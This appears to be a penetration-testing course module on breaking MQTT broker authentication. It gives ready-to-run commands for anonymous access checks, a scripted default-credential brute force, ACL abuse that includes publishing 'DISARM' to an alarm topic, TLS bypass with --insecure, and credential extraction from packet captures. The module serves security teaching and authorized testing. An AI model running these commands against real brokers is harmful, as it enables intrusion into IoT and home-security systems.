authentication-failures

practical
🔧

L4 — Authentication Failures

A broker that doesn't reject your anonymous connection is the easiest case. But authentication is frequently present and still broken. Weak credentials, misconfigured ACLs, anonymous access scoped to specific topics, and TLS deployed without cert validation are all common failure modes.


Confirming No Authentication

mosquitto_sub -h <broker> -p 1883 -t "#" -v

If this command connects and begins receiving messages, the broker requires no credentials. No further authentication work needed — proceed to enumeration.

If it fails immediately with:

Connection Refused: not authorised.

Authentication is required. The broker is configured with allow_anonymous false.


Credential Brute Force

Most MQTT broker credentials are set once during deployment from a tutorial or default configuration and never changed. The credential space is small.

Manual Testing

mosquitto_sub -h <broker> -u "admin" -P "admin" -t "test" -C 1 --quiet

Flags: - -u — username - -P — password (capital P, not lowercase) - -C 1 — disconnect after receiving one message (or timeout) - --quiet — suppress informational output, only show errors

Exit code 0 = connected successfully. Exit code non-zero = failed.

Scripted Credential Testing

for cred in "admin:admin" "admin:password" "mqtt:mqtt" "user:user" "test:test" \
            "guest:guest" "admin:1234" "admin:mosquitto" "root:root" \
            "admin:admin123" "mqtt:password" "device:device"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  result=$(mosquitto_sub -h <broker> -u "$user" -P "$pass" \
           -t "test" -C 1 --quiet 2>&1)
  if [ $? -eq 0 ]; then
    echo "[+] VALID: $user:$pass"
  else
    echo "[-] Failed: $user:$pass"
  fi
done

The exit code from mosquitto_sub distinguishes authentication failure from connection success. This is reliable as long as the broker doesn't enforce rate limiting (most don't — MQTT has no built-in brute force protection).

Why These Credentials Work

  • admin:admin — Mosquitto documentation examples use this
  • mqtt:mqtt — Default in many MQTT broker Docker images
  • test:test — Development credentials left in production configs
  • guest:guest — Home automation platform defaults (Home Assistant, openHAB)

The mosquitto_passwd utility used to create broker password files doesn't enforce any complexity requirements. Whatever the person typed when they first set up the broker is what you're testing against.


ACL Misconfiguration

A broker can require authentication but grant overly broad topic access after login. The access control list (ACL) in Mosquitto is configured in a separate file referenced from mosquitto.conf:

acl_file /etc/mosquitto/acl

A correct ACL restricts each user to their own topics:

user sensor_01
topic read device/sensor_01/#
topic write device/sensor_01/#

user dashboard
topic read home/#

A misconfigured ACL — or no ACL file at all — grants authenticated users access to every topic. If you brute-force valid credentials for a low-privilege user, you may still be able to subscribe to every topic on the broker.

Testing ACL Coverage After Authentication

Once you have valid credentials:

# Can I subscribe to everything?
mosquitto_sub -h <broker> -u "validuser" -P "validpass" -t "#" -v -C 5

# Can I subscribe to another user's topics?
mosquitto_sub -h <broker> -u "sensor_01" -P "pass1" -t "device/sensor_02/#" -v -C 5

# Can I publish to command topics?
mosquitto_pub -h <broker> -u "validuser" -P "validpass" \
  -t "home/alarm/command" -m "DISARM"

If a user has subscribe access to #, they see everything regardless of what their intended scope was.


Anonymous Read with Auth Required for Write

Some deployments configure brokers to allow anonymous read but require authentication to publish. This is an intentional design for monitoring systems — public dashboards can read sensor data without credentials.

The misconfiguration: anonymous subscribers can read topics that include sensitive data — credentials published as retained messages, device tokens in telemetry, internal network configuration. The write restriction is irrelevant if the damage is in the read path.

Detect this pattern:

# Connect anonymously and subscribe
mosquitto_sub -h <broker> -t "#" -v -C 10

# Then try to publish anonymously
mosquitto_pub -h <broker> -t "test/probe" -m "ping"
# "Connection Refused: not authorised" for publish but read worked

TLS Without Certificate Verification

Port 8883 uses TLS transport. TLS encrypts the channel but does not imply authentication. More importantly, many MQTT clients are configured to skip certificate validation.

Testing TLS Broker

# Connect with TLS, accepting any certificate
mosquitto_sub -h <broker> -p 8883 --insecure -t "#" -v

# --insecure disables certificate verification

If the broker accepts this connection, TLS is providing encryption but not authentication. A self-signed cert or an expired cert with --insecure behaves identically to no TLS for an attacker with network access.

Certificate Inspection

# Get the TLS certificate without connecting as MQTT client
openssl s_client -connect <broker>:8883 -showcerts </dev/null 2>/dev/null | \
  openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After"

Self-signed certificates on MQTT brokers typically show:

Subject: CN = localhost
Issuer: CN = localhost
Not After: some date in 2019

An expired self-signed cert with a subject of localhost means TLS was added as an afterthought and is providing minimal security.


Extracting Credentials from CONNECT Packets (PCAP)

When you have a network capture containing MQTT traffic, credential extraction is deterministic.

Wireshark GUI

  1. Open the .pcap file
  2. Apply filter: mqtt.msgtype == 1
  3. Expand any CONNECT packet in the packet details pane
  4. Look for: User Name and Password fields under the MQTT layer

tshark CLI Extraction

# Extract all CONNECT packet credentials from a pcap
tshark -r capture.pcap \
  -Y "mqtt.msgtype == 1" \
  -T fields \
  -e mqtt.clientid \
  -e mqtt.username \
  -e mqtt.passwd

Output:

ESP32_sensor_04    admin    mqtt_prod_2023
shelly-ABCDEF      device   Sh3llyP@ss!
dashboard_v2       monitor  (empty)

Each row is one CONNECT packet. Three fields: client ID, username, password. The client ID alone is useful for device identification even when credentials aren't present.

tcpdump One-Liner

For plaintext captures where you want to extract credentials without a full PCAP tool:

# Read from saved capture, print MQTT payload bytes as ASCII
tcpdump -r capture.pcap -A port 1883 2>/dev/null | grep -A5 "CONNECT"

This is less reliable than tshark but works without Wireshark installed.


Common Authentication Failure Patterns in the Wild

Configuration Symptom Frequency
allow_anonymous true (default) Anonymous access, no auth Very common
Password file with weak creds Brute-forceable Common
No ACL file Auth required but no topic restrictions Common
Anonymous read, auth write Public sensor data with sensitive retained messages Moderate
TLS with --insecure accepted Encrypted channel, no cert validation Moderate
ACL wildcard topic readwrite # All authenticated users see everything Common in tutorials

Key Takeaways

  • MQTT has no built-in brute force protection — rate limiting is up to the broker admin and is rarely configured
  • Authentication and authorization are separate: valid credentials don't guarantee restricted topic access
  • --insecure on TLS connections bypasses certificate validation, which is the default in many MQTT client libraries
  • tshark -Y "mqtt.msgtype == 1" extracts all credentials from any plaintext MQTT capture
  • Anonymous read access with sensitive retained messages is a data leak even when write requires auth